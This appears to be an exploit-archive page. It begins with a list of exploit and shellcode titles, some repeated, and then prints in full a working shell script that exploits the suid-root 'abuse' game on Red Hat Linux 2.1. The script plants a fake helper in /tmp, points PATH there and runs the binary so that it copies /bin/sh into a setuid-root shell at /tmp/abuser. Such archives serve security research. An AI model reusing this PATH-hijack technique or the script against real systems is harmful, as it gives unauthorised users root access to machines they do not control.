
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
75 lines
No EOL
1.4 KiB
Bash
Executable file
75 lines
No EOL
1.4 KiB
Bash
Executable file
source: https://www.securityfocus.com/bid/354/info
|
|
|
|
Abuse is a game that is included with RedHat Linux 2.1 in the games package. The console version, abuse.console, is suid-root and will load the program sndrv as root without checking for an absolute pathname. This means that sndrv can be substituted in another directory by a regular user and used to locally execute arbitrary code on the target machine. Consequences are a root compromise.
|
|
|
|
Exploit:
|
|
|
|
#!/bin/sh
|
|
|
|
#
|
|
|
|
# abuser.sh
|
|
|
|
# exploits a security hole in abuse to create
|
|
|
|
# a suid root shell /tmp/abuser on a linux
|
|
|
|
# Red Hat 2.1 system with the games package
|
|
|
|
# installed.
|
|
|
|
#
|
|
|
|
# by Dave M. (davem@cmu.edu)
|
|
|
|
#
|
|
|
|
echo ================ abuser.sh - gain root on Linux Red Hat 2.1 system
|
|
|
|
echo ================ Checking system vulnerability
|
|
|
|
if test -u /usr/lib/games/abuse/abuse.console
|
|
|
|
then
|
|
|
|
echo ++++++++++++++++ System appears vulnerable.
|
|
|
|
cd /tmp
|
|
|
|
cat << _EOF_ > /tmp/undrv
|
|
|
|
#!/bin/sh
|
|
|
|
/bin/cp /bin/sh /tmp/abuser
|
|
|
|
/bin/chmod 4777 /tmp/abuser
|
|
|
|
_EOF_
|
|
|
|
chmod +x /tmp/undrv
|
|
|
|
PATH=/tmp
|
|
|
|
echo ================ Executing Abuse
|
|
|
|
/usr/lib/games/abuse/abuse.console
|
|
|
|
/bin/rm /tmp/undrv
|
|
|
|
if test -u /tmp/abuser
|
|
|
|
then
|
|
|
|
echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/abuser
|
|
|
|
else
|
|
|
|
echo ---------------- Exploit failed
|
|
|
|
fi
|
|
|
|
else
|
|
|
|
echo ---------------- This machine does not appear to be vulnerable.
|
|
|
|
fi |